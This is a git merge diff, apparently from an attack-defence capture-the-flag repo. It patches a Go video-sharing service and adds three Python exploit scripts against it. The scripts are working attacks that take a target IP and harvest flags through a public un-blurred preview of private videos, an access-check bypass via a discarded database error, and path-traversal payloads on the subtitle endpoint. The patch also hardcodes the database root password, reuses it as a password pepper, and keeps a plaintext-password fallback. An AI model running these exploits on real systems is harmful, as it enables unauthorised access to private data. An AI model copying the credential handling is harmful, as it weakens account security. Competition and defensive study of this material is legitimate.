Merge branch 'main' of git.itqdev.xyz:4x10m/ALPHA-TRAIN2
This commit is contained in:
@@ -2,9 +2,35 @@ package db
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"crypto/sha256"
|
||||||
|
"crypto/subtle"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
"github.com/gocraft/dbr/v2"
|
"github.com/gocraft/dbr/v2"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// pepper is mixed into every stored password. NEVER change it after the first
|
||||||
|
// deploy -- every account created afterwards would be locked out.
|
||||||
|
const pepper = "cRazy_P4ssw0rd_MeOw_Me0W_676767676767"
|
||||||
|
|
||||||
|
// HashPassword returns the value that is actually persisted in users.password.
|
||||||
|
func HashPassword(password string) string {
|
||||||
|
h := sha256.New()
|
||||||
|
h.Write([]byte(pepper))
|
||||||
|
h.Write([]byte(password))
|
||||||
|
return fmt.Sprintf("sha256$%x", h.Sum(nil))
|
||||||
|
}
|
||||||
|
|
||||||
|
// passwordMatches accepts the new hashed form and, for accounts created before
|
||||||
|
// this patch, the legacy plaintext form -- otherwise existing users (including
|
||||||
|
// the checker's) would be locked out and the SLA would drop.
|
||||||
|
func passwordMatches(stored, supplied string) bool {
|
||||||
|
if subtle.ConstantTimeCompare([]byte(stored), []byte(HashPassword(supplied))) == 1 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return subtle.ConstantTimeCompare([]byte(stored), []byte(supplied)) == 1
|
||||||
|
}
|
||||||
|
|
||||||
type Storage struct {
|
type Storage struct {
|
||||||
conn *dbr.Connection
|
conn *dbr.Connection
|
||||||
}
|
}
|
||||||
@@ -30,6 +56,7 @@ func (s *Storage) init() {
|
|||||||
|
|
||||||
func (s *Storage) InsertUser(ctx context.Context, user *User) error {
|
func (s *Storage) InsertUser(ctx context.Context, user *User) error {
|
||||||
sess := s.conn.NewSession(nil)
|
sess := s.conn.NewSession(nil)
|
||||||
|
user.Password = HashPassword(user.Password)
|
||||||
_, err := sess.InsertInto("users").Columns("login", "password").Record(user).ExecContext(ctx)
|
_, err := sess.InsertInto("users").Columns("login", "password").Record(user).ExecContext(ctx)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -37,15 +64,19 @@ func (s *Storage) InsertUser(ctx context.Context, user *User) error {
|
|||||||
func (s *Storage) FindUser(ctx context.Context, login, password string) (*User, error) {
|
func (s *Storage) FindUser(ctx context.Context, login, password string) (*User, error) {
|
||||||
sess := s.conn.NewSession(nil)
|
sess := s.conn.NewSession(nil)
|
||||||
user := new(User)
|
user := new(User)
|
||||||
|
// Look the account up by login only, then verify the secret in Go: the
|
||||||
|
// password no longer travels through the WHERE clause as a comparable value.
|
||||||
err := sess.Select("*").
|
err := sess.Select("*").
|
||||||
From("users").
|
From("users").
|
||||||
Where("login = ?", login).
|
Where("login = ?", login).
|
||||||
Where("password = ?", password).
|
|
||||||
LoadOneContext(ctx, user)
|
LoadOneContext(ctx, user)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
return user, err
|
if !passwordMatches(user.Password, password) {
|
||||||
|
return nil, dbr.ErrNotFound
|
||||||
|
}
|
||||||
|
return user, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Storage) AddVideo(ctx context.Context, v *Video) error {
|
func (s *Storage) AddVideo(ctx context.Context, v *Video) error {
|
||||||
|
|||||||
@@ -2,6 +2,9 @@ version: '3'
|
|||||||
services:
|
services:
|
||||||
tiktak:
|
tiktak:
|
||||||
build: .
|
build: .
|
||||||
|
# CI (.gitea/workflows/build-and-push.yml) pushes only images matching
|
||||||
|
# git.itqdev.xyz/4x10m/* -- without this line the build job fails.
|
||||||
|
image: git.itqdev.xyz/4x10m/tiktak:${IMAGE_TAG:-latest}
|
||||||
ports:
|
ports:
|
||||||
- "5000:4000"
|
- "5000:4000"
|
||||||
restart: always
|
restart: always
|
||||||
@@ -13,8 +16,11 @@ services:
|
|||||||
db:
|
db:
|
||||||
image: mysql:8.0.17
|
image: mysql:8.0.17
|
||||||
restart: always
|
restart: always
|
||||||
|
# NOTE: not published to the host on purpose -- keep it that way.
|
||||||
volumes:
|
volumes:
|
||||||
- ./db_data:/var/lib/mysql
|
- ./db_data:/var/lib/mysql
|
||||||
environment:
|
environment:
|
||||||
|
# Rotated. Keep in sync with the DSN in main.go.
|
||||||
|
# Only applied when ./db_data is created from scratch!
|
||||||
MYSQL_ROOT_PASSWORD: cRazy_P4ssw0rd_MeOw_Me0W_676767676767
|
MYSQL_ROOT_PASSWORD: cRazy_P4ssw0rd_MeOw_Me0W_676767676767
|
||||||
MYSQL_DATABASE: tiktak
|
MYSQL_DATABASE: tiktak
|
||||||
|
|||||||
@@ -17,9 +17,12 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
// Rotated DB password. Must stay in sync with MYSQL_ROOT_PASSWORD in
|
||||||
|
// docker-compose.yml AND with the actual MySQL user (ALTER USER) when the
|
||||||
|
// ./db_data volume already exists.
|
||||||
conn, err := dbr.Open(
|
conn, err := dbr.Open(
|
||||||
"mysql",
|
"mysql",
|
||||||
"root:root@tcp(db:3306)/tiktak", nil)
|
"root:cRazy_P4ssw0rd_MeOw_Me0W_676767676767@tcp(db:3306)/tiktak", nil)
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err)
|
panic(err)
|
||||||
|
|||||||
@@ -11,7 +11,19 @@ const IdCookieName = "user_id"
|
|||||||
|
|
||||||
func Cookies(id int64) (*http.Cookie, *http.Cookie) {
|
func Cookies(id int64) (*http.Cookie, *http.Cookie) {
|
||||||
ids := strconv.FormatInt(id, 10)
|
ids := strconv.FormatInt(id, 10)
|
||||||
return &http.Cookie{Value: ids, Name: IdCookieName}, &http.Cookie{Value: Generate(ids), Name: HashCookieName}
|
return &http.Cookie{
|
||||||
|
Name: IdCookieName,
|
||||||
|
Value: ids,
|
||||||
|
Path: "/",
|
||||||
|
HttpOnly: true,
|
||||||
|
SameSite: http.SameSiteLaxMode,
|
||||||
|
}, &http.Cookie{
|
||||||
|
Name: HashCookieName,
|
||||||
|
Value: Generate(ids),
|
||||||
|
Path: "/",
|
||||||
|
HttpOnly: true,
|
||||||
|
SameSite: http.SameSiteLaxMode,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
type Context struct {
|
type Context struct {
|
||||||
|
|||||||
@@ -136,6 +136,12 @@ func (s *Server) handleCreate(c echo.Context) error {
|
|||||||
if err = video.Blur(ppath, s.privatePreviewPath(v.ID)); err != nil {
|
if err = video.Blur(ppath, s.privatePreviewPath(v.ID)); err != nil {
|
||||||
return c.Render(http.StatusUnprocessableEntity, "create", ErrorResponse{"failed to blur preview: " + err.Error()})
|
return c.Render(http.StatusUnprocessableEntity, "create", ErrorResponse{"failed to blur preview: " + err.Error()})
|
||||||
}
|
}
|
||||||
|
// public/static is served by echo.Static, so the sharp preview of a
|
||||||
|
// private video would otherwise be downloadable by anyone at
|
||||||
|
// /public/static/preview_<id>.png -- drop it once it has been blurred.
|
||||||
|
if err = os.Remove(ppath); err != nil && !os.IsNotExist(err) {
|
||||||
|
return c.Render(http.StatusUnprocessableEntity, "create", ErrorResponse{"failed to drop preview: " + err.Error()})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return c.Redirect(http.StatusFound, fmt.Sprintf("/watch/%d", v.ID))
|
return c.Redirect(http.StatusFound, fmt.Sprintf("/watch/%d", v.ID))
|
||||||
}
|
}
|
||||||
@@ -180,14 +186,28 @@ func (s *Server) handleWatch(c echo.Context) error {
|
|||||||
|
|
||||||
func (s *Server) handleVtt(c echo.Context) error {
|
func (s *Server) handleVtt(c echo.Context) error {
|
||||||
ac := c.(*auth.Context)
|
ac := c.(*auth.Context)
|
||||||
vid := c.QueryParam("id")
|
|
||||||
uid := ac.GetId()
|
// The id must be a plain positive integer. Anything else (./7, x/../7,
|
||||||
|
// ../../etc/foo) is rejected before it can reach either the DB or the FS.
|
||||||
|
vid, err := strconv.ParseInt(c.QueryParam("id"), 10, 64)
|
||||||
|
if err != nil || vid <= 0 {
|
||||||
|
return c.NoContent(http.StatusNotFound)
|
||||||
|
}
|
||||||
|
|
||||||
ctx := context.Background()
|
ctx := context.Background()
|
||||||
v, _ := s.db.GetVideo(ctx, vid)
|
v, err := s.db.GetVideo(ctx, vid)
|
||||||
if !s.haveAccess(ctx, uid, *v) {
|
// The error MUST be handled: a missing row leaves a zero db.Video
|
||||||
|
// (UserID=0, Private=false) which haveAccess() would happily accept.
|
||||||
|
if err != nil || v == nil {
|
||||||
|
return c.NoContent(http.StatusNotFound)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !s.haveAccess(ctx, ac.GetId(), *v) {
|
||||||
return c.NoContent(http.StatusForbidden)
|
return c.NoContent(http.StatusForbidden)
|
||||||
}
|
}
|
||||||
vttPath := path.Join(s.c.VttFolder, vid+".vtt")
|
|
||||||
|
// Build the path from the validated integer, never from raw user input.
|
||||||
|
vttPath := path.Join(s.c.VttFolder, strconv.FormatInt(vid, 10)+".vtt")
|
||||||
return c.File(vttPath)
|
return c.File(vttPath)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Executable
+127
@@ -0,0 +1,127 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
|
||||||
|
USE_CUSTOM_USER_AGENT = False
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||||
|
]
|
||||||
|
|
||||||
|
PORT = 5000
|
||||||
|
FEED_RX = re.compile(r'src="([^"]*preview_(\d+)(_blured)?\.png)"')
|
||||||
|
|
||||||
|
|
||||||
|
def _ocr(png_bytes):
|
||||||
|
"""Optional: OCR the frame. No-op (and no crash) if pytesseract is absent."""
|
||||||
|
try:
|
||||||
|
import io
|
||||||
|
from PIL import Image
|
||||||
|
import pytesseract
|
||||||
|
except ImportError:
|
||||||
|
return ""
|
||||||
|
try:
|
||||||
|
return pytesseract.image_to_string(Image.open(io.BytesIO(png_bytes)))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] ocr failed: {e}", file=sys.stderr, flush=True)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip):
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
# VULN: server/server.go handleCreate() + routes()
|
||||||
|
# ppath := s.previewPath(v.ID) // public/static/preview_<id>.png
|
||||||
|
# video.GeneratePreview(ctx, ..., ppath)
|
||||||
|
# if v.Private { video.Blur(ppath, s.privatePreviewPath(v.ID)) }
|
||||||
|
# ...
|
||||||
|
# s.e.Static("/"+s.c.StaticFolder, s.c.StaticFolder)
|
||||||
|
#
|
||||||
|
# For a PRIVATE video the sharp first frame is written to
|
||||||
|
# public/static/preview_<id>.png and is NEVER deleted; only an extra blurred
|
||||||
|
# copy preview_<id>_blured.png is produced. public/static is exposed by
|
||||||
|
# echo.Static, so the un-blurred frame of every private video is a plain
|
||||||
|
# unauthenticated GET away -- the feed only ever links the blurred one.
|
||||||
|
#
|
||||||
|
# /feed leaks the id of every video (including private ones), so:
|
||||||
|
# /public/static/preview_<id>_blured.png -> what you are supposed to see
|
||||||
|
# /public/static/preview_<id>.png -> the real frame
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
try:
|
||||||
|
s = requests.Session()
|
||||||
|
s.headers.update(headers)
|
||||||
|
base = f"http://{target_ip}:{PORT}"
|
||||||
|
|
||||||
|
private_ids = []
|
||||||
|
try:
|
||||||
|
r = s.get(f"{base}/feed", timeout=5)
|
||||||
|
# a "_blured" preview in the feed == the video is private
|
||||||
|
private_ids = sorted(
|
||||||
|
{int(m[1]) for m in FEED_RX.findall(r.text) if m[2]}, reverse=True
|
||||||
|
)
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
if not private_ids:
|
||||||
|
print(f"[!] no private videos advertised by /feed on {target_ip}",
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
return flags
|
||||||
|
|
||||||
|
for vid in private_ids:
|
||||||
|
url = f"{base}/public/static/preview_{vid}.png"
|
||||||
|
try:
|
||||||
|
r = s.get(url, timeout=5)
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] preview {vid} failed: {e}", file=sys.stderr, flush=True)
|
||||||
|
continue
|
||||||
|
if r.status_code != 200 or not r.content.startswith(b"\x89PNG"):
|
||||||
|
continue
|
||||||
|
|
||||||
|
print(f"[+] leaked un-blurred preview of private video {vid} "
|
||||||
|
f"({len(r.content)} bytes) from {url}", file=sys.stderr, flush=True)
|
||||||
|
flags.update(FLAG_RX.findall(_ocr(r.content)))
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
|
||||||
|
try:
|
||||||
|
found_flags = exploit(target_ip)
|
||||||
|
|
||||||
|
if found_flags is None:
|
||||||
|
found_flags = []
|
||||||
|
elif isinstance(found_flags, str):
|
||||||
|
found_flags = [found_flags]
|
||||||
|
|
||||||
|
for flag in found_flags:
|
||||||
|
clean_flag = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean_flag):
|
||||||
|
print(clean_flag, flush=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Executable
+112
@@ -0,0 +1,112 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
|
||||||
|
USE_CUSTOM_USER_AGENT = False
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||||
|
]
|
||||||
|
|
||||||
|
PORT = 5000
|
||||||
|
EXTRA_DEPTH = 60 # how many ids below the feed window to bruteforce
|
||||||
|
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip):
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
# VULN: server/server.go:181-192 handleVtt()
|
||||||
|
# v, _ := s.db.GetVideo(ctx, vid) <-- error is DISCARDED
|
||||||
|
# if !s.haveAccess(ctx, uid, *v) { 403 }
|
||||||
|
# return c.File(path.Join(s.c.VttFolder, vid+".vtt"))
|
||||||
|
#
|
||||||
|
# `vid` is the RAW query string, it is used twice:
|
||||||
|
# 1) as a SQL value -> MySQL casts './7' to the number 0, no row matches,
|
||||||
|
# GetVideo returns (&Video{}, ErrNotFound) and the error is thrown away.
|
||||||
|
# The zero Video has Private=false and UserID=0, so haveAccess() returns
|
||||||
|
# true for everybody (even for an anonymous visitor, uid==0).
|
||||||
|
# 2) as a FILE PATH -> path.Join("public/vtt", "./7.vtt") == "public/vtt/7.vtt"
|
||||||
|
#
|
||||||
|
# => subtitles (where the checker stores the flag) of ANY private video are
|
||||||
|
# served without login, without a share token and without an access row.
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
try:
|
||||||
|
s = requests.Session()
|
||||||
|
s.headers.update(headers)
|
||||||
|
base = f"http://{target_ip}:{PORT}"
|
||||||
|
|
||||||
|
# 1. enumerate video ids from the public feed
|
||||||
|
ids = []
|
||||||
|
try:
|
||||||
|
r = s.get(f"{base}/feed", timeout=5)
|
||||||
|
ids = [int(x) for x in WATCH_RX.findall(r.text)]
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
if ids:
|
||||||
|
lo = max(1, min(ids) - EXTRA_DEPTH)
|
||||||
|
ids = sorted(set(ids) | set(range(lo, min(ids))), reverse=True)
|
||||||
|
else:
|
||||||
|
ids = list(range(200, 0, -1))
|
||||||
|
|
||||||
|
# 2. for every id ask for its .vtt with a payload that de-syncs
|
||||||
|
# the SQL lookup from the file lookup
|
||||||
|
for vid in ids:
|
||||||
|
for payload in (f"./{vid}", f"x/../{vid}", f"/{vid}"):
|
||||||
|
try:
|
||||||
|
r = s.get(f"{base}/vtt/", params={"id": payload}, timeout=5)
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True)
|
||||||
|
break
|
||||||
|
if r.status_code != 200:
|
||||||
|
continue
|
||||||
|
found = FLAG_RX.findall(r.text)
|
||||||
|
if found:
|
||||||
|
flags.update(found)
|
||||||
|
break
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
|
||||||
|
try:
|
||||||
|
found_flags = exploit(target_ip)
|
||||||
|
|
||||||
|
if found_flags is None:
|
||||||
|
found_flags = []
|
||||||
|
elif isinstance(found_flags, str):
|
||||||
|
found_flags = [found_flags]
|
||||||
|
|
||||||
|
for flag in found_flags:
|
||||||
|
clean_flag = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean_flag):
|
||||||
|
print(clean_flag, flush=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Executable
+118
@@ -0,0 +1,118 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
|
||||||
|
USE_CUSTOM_USER_AGENT = False
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||||
|
]
|
||||||
|
|
||||||
|
PORT = 5000
|
||||||
|
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||||||
|
|
||||||
|
# path.Join("public/vtt", <payload>+".vtt") -- the payload escapes VttFolder and
|
||||||
|
# is re-anchored at the container WORKDIR (/app) or at "/".
|
||||||
|
TRAVERSALS = [
|
||||||
|
"../vtt/{id}",
|
||||||
|
"../../public/vtt/{id}",
|
||||||
|
"../../../app/public/vtt/{id}",
|
||||||
|
"../../../../app/public/vtt/{id}",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip):
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
# VULN: server/server.go:190 handleVtt()
|
||||||
|
# vttPath := path.Join(s.c.VttFolder, vid+".vtt")
|
||||||
|
# return c.File(vttPath)
|
||||||
|
#
|
||||||
|
# `vid` comes straight from ?id= and is NEVER sanitised (no path.Clean("/"+p)
|
||||||
|
# guard like echo's Static handler does). Any "../" sequence walks out of
|
||||||
|
# public/vtt and c.File() happily serves the result -- i.e. arbitrary read of
|
||||||
|
# any *.vtt file on the container filesystem.
|
||||||
|
#
|
||||||
|
# Bonus: the very same value is fed to GetVideo() whose error is ignored, so
|
||||||
|
# a traversing id also never matches a DB row -> the private-video ACL check
|
||||||
|
# in haveAccess() is skipped as well (zero Video => Private=false).
|
||||||
|
#
|
||||||
|
# Here we abuse it to pull the subtitle track (= the flag) of every video
|
||||||
|
# while never touching the authorisation path at all.
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
try:
|
||||||
|
s = requests.Session()
|
||||||
|
s.headers.update(headers)
|
||||||
|
base = f"http://{target_ip}:{PORT}"
|
||||||
|
|
||||||
|
ids = []
|
||||||
|
try:
|
||||||
|
r = s.get(f"{base}/feed", timeout=5)
|
||||||
|
ids = sorted({int(x) for x in WATCH_RX.findall(r.text)}, reverse=True)
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
if not ids:
|
||||||
|
ids = list(range(200, 0, -1))
|
||||||
|
|
||||||
|
good_tpl = None
|
||||||
|
for vid in ids:
|
||||||
|
templates = [good_tpl] if good_tpl else TRAVERSALS
|
||||||
|
for tpl in templates:
|
||||||
|
try:
|
||||||
|
r = s.get(f"{base}/vtt/",
|
||||||
|
params={"id": tpl.format(id=vid)},
|
||||||
|
timeout=5)
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True)
|
||||||
|
break
|
||||||
|
if r.status_code != 200 or "WEBVTT" not in r.text:
|
||||||
|
continue
|
||||||
|
good_tpl = tpl
|
||||||
|
flags.update(FLAG_RX.findall(r.text))
|
||||||
|
break
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
|
||||||
|
try:
|
||||||
|
found_flags = exploit(target_ip)
|
||||||
|
|
||||||
|
if found_flags is None:
|
||||||
|
found_flags = []
|
||||||
|
elif isinstance(found_flags, str):
|
||||||
|
found_flags = [found_flags]
|
||||||
|
|
||||||
|
for flag in found_flags:
|
||||||
|
clean_flag = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean_flag):
|
||||||
|
print(clean_flag, flush=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user